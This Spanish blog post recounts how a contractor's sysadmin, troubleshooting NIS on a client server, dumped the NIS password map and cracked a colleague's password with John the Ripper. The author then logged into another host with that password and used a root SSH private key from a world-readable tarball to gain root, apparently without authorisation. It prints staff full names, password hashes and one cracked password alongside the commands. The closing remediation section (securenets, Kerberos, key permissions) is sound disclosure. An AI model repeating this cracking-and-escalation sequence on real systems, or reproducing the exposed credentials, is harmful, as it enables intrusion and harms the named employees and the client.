Páginas amarillas, hashes y tarballs inesperados
Hace unas semanas hubo un pequeño problema en los servidores de un cliente. Para nosotros, funcionan como un VPS (IaaS). Ellos se encargan de infraestructura, y nosotros de la instalación y actualización del software. La incidencia consistía en unos mensajes que aparecían entre medias de la salida de cualquier comando. Por ejemplo:[root@MX0301001810002 ~]# netstat -o Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State Timer YPBINDPROC_DOMAIN: Domain not bound YPBINDPROC_DOMAIN: Domain not bound tcp 0 0 MX0301001810002:36532 adt.pro.eci.geci:ricardo-lm TIME_WAIT timewait (54.68/0/0) tcp 0 0 localhost:58423 localhost:epmd ESTABLISHED off (0.00/0/0) tcp 0 0 MX0301001810002:36190 adt.pro.eci.geci:ricardo-lm TIME_WAIT timewait (19.12/0/0) [root@MX0301001810002 ~]# ping imagenes-adt-pozuelo.eci.geci YPBINDPROC_DOMAIN: Domain not bound YPBINDPROC_DOMAIN: Domain not bound PING imagenes-adt-pozuelo.eci.geci (128.111.62.20) 56(84) bytes of data. YPBINDPROC_DOMAIN: Domain not bound YPBINDPROC_DOMAIN: Domain not bound 64 bytes from imagenes-adt-pozuelo.eci.geci (128.111.62.20): icmp_seq=1 ttl=59 time=2.41 ms 64 bytes from imagenes-adt-pozuelo.eci.geci (128.111.62.20): icmp_seq=2 ttl=59 time=2.31 msAntes de avisar, quise informarme un poco. Se trababa del servicio NIS, también conocido como Yellow Pages (páginas amarillas). Ignoraba su exitencia. La Wikipedia lo describe como:
Network Information Service (conocido por su acrónimo NIS, que en español significa Servicio de Información de Red), es el nombre de un protocolo de servicios de directorios cliente-servidor desarrollado por Sun Microsystems para el envío de datos de configuración en sistemas distribuidos tales como nombres de usuarios y hosts entre computadoras sobre una red.Esto me sonaba bastante a Kerberos/LDAP, los sucesores de NIS. En cualquier caso, el problema era un fallo de conexión, o binding:
[root@MX0301001810002 ~]# ypwhich can't yp_bind: Reason: Domain not bound [root@MX0301001810002 ~]# service ypbind restart Apagando el servicio NIS: [ OK ] Iniciando el servicio NIS: [ OK ] Enlazando el servicio NIS: ....................... [FALLÓ] [root@MX0301001810002 ~]# tail -F /var/log/messages [...] Jul 18 08:36:44 MX0301001810002 ypbind: NIS server for domain ECIUSERS is not responding.Una vez arreglaron esto, me picó un poco la curiosidad por conocer mejor este servicio:
[root@MX0301001810002 ~]# ypcat passwd x47032cu:pFPB1FmsY356c:25932:3077:AITOR CUBERO RODRIGUEZ:/usuarios_nis:/bin/ksh X50160AL:6PP6myKy9KU82:25922:2000:JOSE ANTONIO ALONSO ZAMORANO:/usuarios_nis:/bin/ksh X30606HE:GAGpJxiCZ8Bq6:25338:3059:AMAIA HERREROS LEAL:/usuarios_nis/:/bin/ksh 62067046:sET7c66.veg2U:25921:2001:ADAY MACARIO SUAREZ GARCIA:/usuarios_nis/:/bin/ksh 51775278:XkhtEwVVrU8.g:25139:3062:ENRIQUE GIL DE LA PEÑA:/usuarios_nis:/bin/ksh 51467538:OADCdlFlQJgXY:26042:3055:LUIS MIGUEL PACHECO JIMENEZ:/usuarios_nis:/bin/ksh X22548GO:DAynYBIMm83Vs:25233:2004:ALBERTO GONZALEZ SERRANO:/usuarios_nis:/bin/ksh X07982MA:ATLOQHIt.2DnY:25179:3011:GUILLERMO MAESTRE GOMEZ:/usuarios_nis:/bin/ksh [...]Este comando lista todos los usuarios registrados, en un formato muy similar al fichero
/etc/passwd. Había dos cosas que me llamaron la atención: la primera, que allí parecía estar todo el personal de sistemas. La segunda y más importante: !la segunda columna son hashes de las contraseñas! Rápidamente me puse a buscar si era posible crackearlos. Varios enlaces sugerían la herramienta John the Ripper. Entre otros, este libro, que mostraba precisamente una intrusión con NIS.
Guardé un solo usuario de la salida de ypcat passwd para ir más rápido. Ejecuté el crackeador:
[j@localhost Documents]$ /home/j/Downloads/john-1.8.0/run/john ypcat_passwd.txt Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 SSE2-16]) Press 'q' or Ctrl-C to abort, almost any other key for status Warning: MaxLen = 13 is too large for the current hash type, reduced to 8 mayo2016 (56275100) 1g 0:00:01:31 3/3 0.01095g/s 5435Kp/s 5435Kc/s 5435KC/s mayol184..mayo2078 Use the "--show" option to display all of the cracked passwords reliably Session completedEn unos minutos obtuve la contraseña. Ahora tenía que probar a conectar a cualquier servidor. Elegí uno desde los que entra el personal de sistemas. Se pueden consultar con
last -w:
root pts/0 10.200.236.83 Wed Jun 22 12:05 - 12:55 (00:50) root pts/0 10.200.236.83 Wed Jun 22 12:02 - 12:04 (00:02) root pts/0 10.200.236.83 Tue Jun 21 15:03 - 15:06 (00:02) root pts/0 10.200.236.83 Tue Jun 21 15:01 - 15:03 (00:02) root pts/0 lpar2rrd_des.eci.geci Tue Jun 21 08:30 - 12:01 (03:31) root pts/0 nimserver_tsm.eci.geci Mon Jun 20 20:45 - 20:46 (00:00) root pts/2 10.200.236.83 Mon Jun 20 11:07 - 12:02 (00:55) root pts/0 10.200.236.83 Mon Jun 20 10:01 - 11:07 (01:05)Conecté a lpar2rrd_des.eci.geci:
[root@MX0301001810002 ~]# ssh 56275100@lpar2rrd_des.eci.geci @@@@ @@@@ @@@ @@ @@ @@@ @@ @@ @@ @@ @@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @ @@ @@ @@ @@ @@@ @@ @@@@@@@ @@@ @@@ @@@ @@@ @@ @@ @@@ @@ @@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@@ @@ @@ @@ @@ @@ @@ @@ @@@@ @@ @@@@ @@ @@ @@ @@ @@ @@@@ @@@@ @@ @@ @@ @@ @@@ @@@@ @@ @@ @@ @@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@@@@@ @@ @@ @@ @@@@@@ @@@ @@@@ @@@ @@ @@@ @@@ @@ @@ @@ @@ @@@@ @@@ @@@ @@ @@ @@ @@@ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= @@ @@ @@ @@ MX0000001660083 Servidor NIM V-6.1 @@ @@ @@ @@ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= @@@ @@@ @@@@@ @@ @@ @ @@@@@ @@ @@@@@ @ @@@ @@@@ @@@@@ @@@@@ @@ @ @@@ @ @ @@ @@ @@ @ @ @ @@ @ @@ @@@@@@@ @@ @@ @@@@@@@ @@@@@ @@ @ @ @@ @ @@ @@ @ @ @@@@@@ @@@@@ @@@@@ @@@@ @@@@@ @@@@@ @@@@@ @@ 56275100@lpar2rrd_des.eci.geci's password: Last unsuccessful login: Sat Aug 13 17:31:05 CEST 2016 on ssh from 128.254.100.222 Last login: Sat Aug 13 18:31:18 CEST 2016 on ssh from 128.254.100.222 ******************************************************************************* * * * * * Welcome to AIX Version 6.1! * * * * * * Please see the README file in /usr/lpp/bos for information pertinent to * * this release of the AIX Operating System. * * * * * ******************************************************************************* $Entré. Era un usuario normal, sin privilegios de superusuario. Me puse a investigar algo que me proporcionase mayor acceso. NOTA: Este servidor era AIX. Tiene ksh como terminal por defecto. No se podía utilizar el tabulador para autocompletar ni las flechas para navegar por el historial de comandos, así que cambié a bash (escribiendo simplemente «bash», ya estaba instalado). Después de un par de horas dando vueltas, encontré el directorio
/eci/etc/ssh, que contenía:
bash-4.2$ ls -l total 40 -r-------- 1 root system 1122 Aug 18 2006 authorized_keys_56275340 -r-------- 1 root system 1122 Dec 14 2007 authorized_keys_fichftp -rw-r--r-- 1 root system 232 Mar 08 2010 authorized_keys_prueba -rw-r--r-- 1 root system 3348 Jun 01 15:44 authorized_keys_root -r-------- 1 ssh1tws system 613 Mar 03 2011 authorized_keys_ssh1tws -r-------- 1 taddmadm staff 406 Sep 02 2014 authorized_keys_taddmadm -r-------- 1 root system 1743 Apr 15 11:11 clave_aguard -r-------- 1 root system 401 Apr 15 11:11 clave_aguard.pub -rw------- 1 root system 883 Mar 08 2010 clave_ftpconv -rw------- 1 root system 1192 Sep 03 2010 clave_sistemas -r-------- 1 root system 1122 Sep 03 2010 clave_sistemas.pub -rw-r--r-- 1 root system 406 Jan 02 2009 claves_svcagent.pubOooh, parecen pares de claves pública/privada SSH. Lástima que no tenga permisos de acceso… pero milagrosamente… dos directorios más arriba, en
/eci:
bash-4.2$ ls -l total 5972 drwxr-xr-x 5 root system 1024 Jan 02 2013 TimeDate-1.16 drwxr-xr-x 8 root system 4096 Jul 15 14:06 almu -rw-r--r-- 1 root system 3011531 Sep 03 2010 eci.tar.gz drwxr-xr-x 25 root system 4096 Jun 30 09:29 etc drwxr-xr-x 27 root system 16384 Jul 15 11:33 javier drwxrwxr-x 8 root sistemas 2048 Aug 08 15:02 jorge¡Un fichero
.tar.gz, con el nombre del directorio en el que estoy, y con permisos de lectura para others!. Me lo copié a mi máquina con scp, y lo descomprimí. Ahora sí podía leerlos:
[root@MX0301001810002 ssh]# ls -l total 32 -r-------- 1 root root 1122 ago 18 2006 authorized_keys_56275340 -r-------- 1 root root 1122 dic 14 2007 authorized_keys_fichftp -rw-r--r-- 1 root root 232 mar 8 2010 authorized_keys_prueba -r-------- 1 root root 1122 oct 11 2006 authorized_keys_root -rw------- 1 root root 883 mar 8 2010 clave_ftpconv -r-------- 1 root root 1192 oct 11 2006 clave_sistemas -r-------- 1 root root 1122 oct 11 2006 clave_sistemas.pub -rw-r--r-- 1 root root 406 ene 2 2009 claves_svcagent.pubProbé a conectar a como root:
[root@MX0301001810002 ssh]# ssh -i clave_sistemas root@lpar2rrd_des.eci.geci @@@@ @@@@ @@@ @@ @@ @@@ @@ @@ @@ @@ @@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @ @@ @@ @@ @@ @@@ @@ @@@@@@@ @@@ @@@ @@@ @@@ @@ @@ @@@ @@ @@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@@ @@ @@ @@ @@ @@ @@ @@ @@@@ @@ @@@@ @@ @@ @@ @@ @@ @@@@ @@@@ @@ @@ @@ @@ @@@ @@@@ @@ @@ @@ @@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@@@@@ @@ @@ @@ @@@@@@ @@@ @@@@ @@@ @@ @@@ @@@ @@ @@ @@ @@ @@@@ @@@ @@@ @@ @@ @@ @@@ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= @@ @@ @@ @@ MX0000001660083 Servidor NIM V-6.1 @@ @@ @@ @@ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= @@@ @@@ @@@@@ @@ @@ @ @@@@@ @@ @@@@@ @ @@@ @@@@ @@@@@ @@@@@ @@ @ @@@ @ @ @@ @@ @@ @ @ @ @@ @ @@ @@@@@@@ @@ @@ @@@@@@@ @@@@@ @@ @ @ @@ @ @@ @@ @ @ @@@@@@ @@@@@ @@@@@ @@@@ @@@@@ @@@@@ @@@@@ @@ Last unsuccessful login: Fri Aug 12 14:26:50 CEST 2016 on ssh from 128.254.100.222 Last login: Sun Aug 14 08:33:54 CEST 2016 on ssh from 128.254.4.252 ******************************************************************************* * * * * * Welcome to AIX Version 6.1! * * * * * * Please see the README file in /usr/lpp/bos for information pertinent to * * this release of the AIX Operating System. * * * * * ******************************************************************************* MX0000001660083-NIM61:/#¡Éxito!
Conclusiones
En este artículo se han examinado dos problemas de seguridad:- NIS
- Clave privada de root en un fichero tar.gz sin protección
NIS
Empecemos por NIS. Una lectura muy interesante se puede ver en Password Security in NIS Systems, del año 2002. Veamos un par de extractos:In many work environments of the mid 1980s and early 1990s, NIS began its life cycle as a way to ease the system maintenance workload associated with running multiple SunOS workstations. The networks of associated computers were generally designed without consideration for system security. Convenience was the goal. […] Just as there is a need in those offices for migration from NIS to NIS+, LDAP, AFS, DFS, or some other secure Unix-based systems administration software, there is a need to make NIS itself more secure. Since any organization that hasn’t already migrated from NIS to something more secure is likely to have a small budget, the security tools must be free or nearly so, meaning available for only a nominal fee.Como ha ocurrido muchas veces en informática, NIS se centró en proporcionar comodidad, no seguridad. Menciona otros sistemas que sí proporcionan seguridad, como LDAP, AFS, DFS. Más adelante en el documento se puede ver una lista de recomendaciones. Una de las que más inmediatas me parecen es la de restringir el acceso a ciertos hosts/subredes mediante
/var/yp/securenets.
En la guía de seguridad de RHEL3 se mencionan tambien buenas prácticas para NIS, pero el consejo final es cambiar a Kerberos:
Los peligros de NIS son conocidos desde hace mucho tiempo, como se puede ver por la antiguedad de las referencias expuestas. El cambio en una organización grande es difícil, pero necesario.5.3.5. Use Kerberos Authentication
One of the most glaring flaws inherent when NIS is used for authentication is that whenever a user logs into a machine, a password hash from the /etc/shadow map is send over the network. If an intruder gains access to an NIS domain and sniffs network traffic, usernames and password hashes can be quietly collected. With enough time, a password cracking program can guess weak passwords, and an attacker can gain access to a valid account on the network. Since Kerberos using secret-key cryptography, no password hashes are ever sent over the network, making the system far more secure. For more about Kerberos, refer to the chapter titled Kerberos in the Red Hat Enterprise Linux Reference Guide.
Clave privada sin protección
Este error es un clásico. Las guías sobre generación de claves para SSH siempre mencionan la importancia de asegurar el acceso de la clave privada. Al comprimir el directorio, se ha creado un tar.gz con los permisos por defecto, controlados por umask, que tienen lectura para others. De forma similar podría ocurrir con un simple comandocp.
Este error es grave para el cliente porque permite el acceso a aproximadamente 700 servidores, nada desdeñable… también es importante para nosotros porque nuestras máquinas se ven afectadas también.